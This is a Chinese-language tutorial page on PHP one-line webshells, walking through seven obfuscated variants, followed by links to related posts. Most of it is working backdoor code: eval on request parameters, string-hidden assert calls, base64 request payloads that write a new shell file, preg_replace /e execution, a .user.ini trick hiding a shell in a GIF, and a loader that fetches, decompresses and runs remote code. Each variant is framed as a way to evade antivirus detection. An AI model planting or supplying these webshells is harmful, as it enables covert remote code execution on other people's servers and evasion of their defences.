php一句话利用,常见php一句话webshell解析
我理解的 webshell 是在服务器上以 web server application (比如apache,iis或者nginx)的权限进行远程任意代码执行的工具。当然通过一些手段也可能可以进行提权。
最基础的 php webshell1<?php eval($_POST[CMD]);?>
将 post 请求中的 CMD 参数直接执行。
1<?php eval($_GET[CMD]);?>
原理浅析:
1、在PHP脚本语言中,eval(code)的功能是将code组合成php指令,然后将指令执行。
2、<?php $a=”phpinfo()”; eval(“echo $a; “); ?>
就相当于执行 echo phpinfo()语句。
变形一
为了与各种静态分析检测的杀毒软件进行对抗,webshell的代码也在不断进行混淆和改进。
1<?php $x=$_GET['z']; @eval("$x;");?>
一般的安全软件可能会将eval+GET或POST判定为后门程序,因此这种变形将eval和GET或者POST分开,能够绕过这种情况。
变形二
接收方
感觉这里并没有写对,应该是传入的两个参数都是base64加密的,经过解密后再执行,生成后门文件。
1
2
3<?php
$a=str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]);
?>
请求参数
1?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
还原出的命令
1assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))
利用assert来执行命令,并且用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。
变形三1
2
3<?php
$_GET['a']($_GET['b']);
?>
请求参数
1?a=assert&b=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果与变形二是一致的。
变形四1($code = $_POST['code']) &&@preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add')
改进的地方:
首先,将eval函数用str_rot13(‘riny’)隐藏。
然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
变形五1$filename=$_GET['code']; include ($filename);
改进的地方:
由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
变形六1auto_prepend_file=code.gif
上传.user.ini,并且写入auto_prepend_file=code.gif
将一句话隐藏在code.gif中,并且将它上传到同一目录下。
改进的地方:
将一句话木马隐藏在图形文件中,并且利用用户配置文件将其自动加载到同目录的php文件下,使得所有正常php文件都毫不知情的中招。
变形七1
2if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
改进的地方:
第一,通过pack函数得到URL
第二,利用file_get_contents获得make.jpg。
第三,利用substr截取3649字节以后的内容。
第四,利用gzuncompress方法将3649字节以后的内容解压出来。
第五,用preg_replace方法的e操作符将代码执行。
还有很多后续操作……
后记
以上为了试验操作的方便,采用的是Get方式获取PHP的执行代码,但实际上,由于URL长度的限制,一般采用Post的方式。由于PHP版本的不断更新,因此一些旧的方法可能已经不太好用,但是随着版本的更新,相信也会有更多越来越新奇的mm慢慢浮出水面,让我们拭目以待。
另外除了这些一句话以外,还有一些不错的大马,例如rc-shell等,以及github上大量的webshell仓库。
参考资料
php一句话利用,常见php一句话webshell解析相关推荐
- 过新版狗php一句话,整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)...
整理的最新WebSHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话) 发布时间:2020-06-20 00:54:04 来源:51CTO 阅读:3175 作者:gu ...
- 计算机网络常见面试问题和解析
计算机网络常见面试问题和解析 1. 网络的几种分层体系结构 2. 建立TCP服务器的各个系统调用 3. socket网络编程有哪些系统调用?其中close是一次就能直接关闭的吗,半关闭状态是怎么产生的 ...
- 科迅免杀php一句话_谈谈php一句话木马的免杀
文章最后更新时间为:2019年07月05日 00:17:52 一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀, ...
- 利用常见的网络命令获取网络信息
利用常见的网络命令获取网络信息 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 利用常见的网络命令获取网络信息 前言 一.利用ipconfig命令获取本地网络信息 二.实训 ...
- 金融信息安全实训——利用常见的网络命令获取网络信息
实训2 金融信息安全实训--利用常见的网络命令获取网络信息 实训目的 掌握常见网络命令使用方法. 学习使用网络命令嗅探网络信息. 学习使用网络命令判断和处理网络问题. 实训准备及注意事项 1.装有Wi ...
- Linux7081端口,bash,linux_利用shell将json数据解析后排序问题,bash,linux,ubuntu,json - phpStudy...
利用shell将json数据解析后排序问题 最近在写一个模仿dropbox_uploader的百度网盘的shell脚本.通过调用pcs的api返回一个目录下的所有文件.返回的json数据如下: {&q ...
- MQ(消息队列)常见的应用场景解析
MQ(消息队列)常见的应用场景解析 原文:MQ(消息队列)常见的应用场景解析 前言 提高系统性能首先考虑的是数据库的优化,之前一篇文章<数据库的使用你可能忽略了这些>中有提到过开发中,针对 ...
- SHELL常见的系统变量解析
SHELL常见的系统变量解析 : $0 当前脚本的名称 $n 当前脚本不能的 第n个参数,n=,1,2-10 $* 当前脚本的所有参数(不包括程序本身) $# 当前脚本的参数个数不包括程序本身() $ ...
- 视频教程:Java常见面试题目深度解析!
视频教程:Java常见面试题目深度解析! Java作为目前比较火的计算机语言之一,连续几年蝉联最受程序员欢迎的计算机语言榜首,因此每年新入职Java程序员也数不胜数.很多java程序员在学成之后,会面 ...
最新文章
- mysql 遍历_MySQL 实现树的遍历详解及简单实现示例
- php mysql旅游论文,php143 基于PHP+Mysql的旅游之家网页设计
- 对数函数定义域和值域_呆哥数学每日一题 —— 复合函数值域
- Proxy 动态代理 InvocationHandler CGLIB MD
- java 应用连接oracle 超级慢的解决方法
- RabbitMQ 入门
- 免费学python的网站-免费学习Python编程的3个优秀的网站资源
- boostrap 鼠标滚轮滑动图片_BootStrap 轮播插件(carousel)支持左右手势滑动的方法(三种)...
- (实际开发大数据分析系统)网络爬虫获取数据与销售数据分析系统
- mysql hammerdb,[料理佳餚] 用 HammerDB 來執行資料庫 TPC-C 效能量測
- php 红包生成算没法,红包生成算法的需求(PHP版本)
- mysql问题排查_mysql问题排查
- 计算机文化基础模拟练习系统的设想
- macbook只有windows下安装os系统、trackpad++下载
- 常见的编程语言的特点与应用领域浅谈
- 自动匹配模板 一分钟搞定财务报表
- 华为牛人的十年工作感悟
- Python 并发编程(进程)
- R 软件的下载与安装
- Nexys video ftp搭建和传输